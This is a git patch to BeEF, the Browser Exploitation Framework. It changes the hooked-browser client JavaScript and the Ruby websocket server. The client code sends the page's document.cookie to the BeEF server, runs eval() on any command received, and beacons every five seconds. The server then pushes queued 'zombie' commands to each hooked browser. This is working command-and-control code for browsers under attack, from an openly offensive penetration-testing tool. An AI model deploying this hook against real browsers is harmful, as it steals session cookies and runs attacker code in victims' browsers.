From c83e7d584ed4e693137d9e14dae658ae366fd0f7 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Thu, 19 Apr 2012 19:30:19 +0200 Subject: [PATCH] Now the Alive check is by ws Timer 5 second Tested And work --- core/main/client/init.js | 92 ++++++++++--------- core/main/client/updater.js | 2 +- core/main/client/websocket.js | 13 ++- .../main/network_stack/websocket/websocket.rb | 29 +++--- 4 files changed, 74 insertions(+), 62 deletions(-) diff --git a/core/main/client/init.js b/core/main/client/init.js index 978cea92a..eac1ab771 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -13,63 +13,69 @@ // See the License for the specific language governing permissions and // limitations under the License. // - + // if beef.pageIsLoaded is true, then this JS has been loaded >1 times // and will have a new session id. The new session id will need to know // the brwoser details. So sendback the browser details again. -BEEFHOOK=beef.session.get_hook_session_id() +BEEFHOOK = beef.session.get_hook_session_id() -if( beef.pageIsLoaded ) { - beef.net.browser_details(); +if (beef.pageIsLoaded) { + beef.net.browser_details(); } -window.onload = function() { - beef_init(); +window.onload = function () { + beef_init(); } -window.onpopstate = function(event) { - if(beef.onpopstate.length > 0) { - event.preventDefault; - for(var i=0;i 0) { + event.preventDefault; + for (var i = 0; i < beef.onpopstate.length; i++) { + var callback = beef.onpopstate[i]; + try { + callback(event); + } catch (e) { + console.log("window.onpopstate - couldn't execute callback: " + e.message); + } + return false; + } + } } -window.onclose = function(event) { - if(beef.onclose.length > 0) { - event.preventDefault; - for(var i=0;i 0) { + event.preventDefault; + for (var i = 0; i < beef.onclose.length; i++) { + var callback = beef.onclose[i]; + try { + callback(event); + } catch (e) { + console.log("window.onclose - couldn't execute callback: " + e.message); + } + return false; + } + } } function beef_init() { - if (!beef.pageIsLoaded) { - beef.pageIsLoaded = true; - /*@note we have to load websocket only if browser has websocket and beef server has websocketserver up - * the second check is require for this */ - if(beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') - beef.websocket.start(); - } - beef.net.browser_details(); - beef.updater.execute_commands(); - beef.updater.check(); - beef.logger.start(); + if (!beef.pageIsLoaded) { + beef.pageIsLoaded = true; + if (beef.browser.hasWebSocket() && typeof beef.websocket != 'undefined') { + beef.websocket.start(); + beef.net.browser_details(); + beef.updater.execute_commands(); + beef.logger.start(); + + } + else { + beef.net.browser_details(); + beef.updater.execute_commands(); + beef.updater.check(); + beef.logger.start(); + } + + } } diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 3aedee96b..3c8ce0071 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -58,7 +58,7 @@ beef.updater = { } } - //if ( typeof beef.websocket === "undefined") + // ( typeof beef.websocket === "undefined") setTimeout("beef.updater.check();", beef.updater.timeout); }, diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js index 66f26ab7b..95af7bfbe 100644 --- a/core/main/client/websocket.js +++ b/core/main/client/websocket.js @@ -44,11 +44,11 @@ beef.websocket = { /*send browser id*/ beef.websocket.send('{"cookie":"' + document.cookie + '"}'); console.log("Connected and Helo"); + beef.websocket.alive(); } this.socket.onmessage = function (message) { - console.log("Received message via WS."); - //todo check message and send pong if ping req - eval(message.data); + console.log("Received message via WS."+ message.data); + eval(message.data); } }, @@ -56,6 +56,13 @@ beef.websocket = { send:function (data) { this.socket.send(data); console.log("Sent [" + data + "]"); + }, + + alive: function (){ + beef.websocket.send('{"alive":"'+document.cookie+'"}'); + console.log("sent alive"); + setTimeout("beef.websocket.alive()", 5000); + } }; diff --git a/core/main/network_stack/websocket/websocket.rb b/core/main/network_stack/websocket/websocket.rb index 4716d75ba..b66aff540 100644 --- a/core/main/network_stack/websocket/websocket.rb +++ b/core/main/network_stack/websocket/websocket.rb @@ -22,11 +22,11 @@ module BeEF require 'base64' class Websocket include Singleton - + include BeEF::Core::Handlers::Modules::Command # @note obtain dynamic mount points from HttpHookServer MOUNTS = BeEF::Core::Server.instance.mounts @@activeSocket= Hash.new #empty at begin - + @@lastalive= Hash.new def initialize config = BeEF::Core::Configuration.instance port = config.get("beef.http.websocket.port") @@ -52,6 +52,13 @@ module BeEF #insert new connection in activesocket @@activeSocket["#{messageHash["cookie"]}"] = ws print_debug("In activesocket we have #{@@activeSocket}") + elsif messageHash["alive"] != nil + hooked_browser = BeEF::Core::Models::HookedBrowser.first(:session => messageHash["alive"].gsub("BEEFHOOK=","")) + hooked_browser.lastseen = Time.new.to_i + hooked_browser.count! + hooked_browser.save + zombie_commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hooked_browser.id, :instructions_sent => false) + zombie_commands.each{|command| add_command_instructions(command, hooked_browser)} else #json recv is a cmd response decode and send all to #we have to call dynamicreconstructor handler camp must be websocket @@ -61,26 +68,17 @@ module BeEF end end rescue Exception => e - print_error "Hooked browser from origin #{ws.origin} abruptly disconnected." + print_error "Hooked browser from origin #{ws.origin} abruptly disconnected. #{e}" end end } - ##Alive check - # Thread.new{ - # - # @@activeSocket.each_key{|key , value| - # ping send token and update beefdb whit new timestamp insert a timer - # - # } - # - # - # } + end #@note used in command.rd return nill if browser is not in list else giveback websocket #@param [String] browser_id the cookie value def getsocket (browser_id) - if (@@activeSocket[browser_id] != nil) + if (@@activeSocket["BEEFHOOK=#{browser_id}"] != nil) true else false @@ -91,7 +89,7 @@ module BeEF #@param [String] fn the module to execute #@param [String] browser_id the cookie value def sent (fn, browser_id) - @@activeSocket[browser_id].send(fn) + @@activeSocket["BEEFHOOK=#{browser_id}"].send(fn) end BeEF::Core::Handlers::Commands @@ -99,6 +97,7 @@ module BeEF #@param [Hash] data contains the answer of a command #@todo ve this stuff in an Handler and resolve the Module friendly name def execute (data) + command_results=Hash.new command_results["data"]=Base64.decode64(data["result"]) (print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(data["bh"])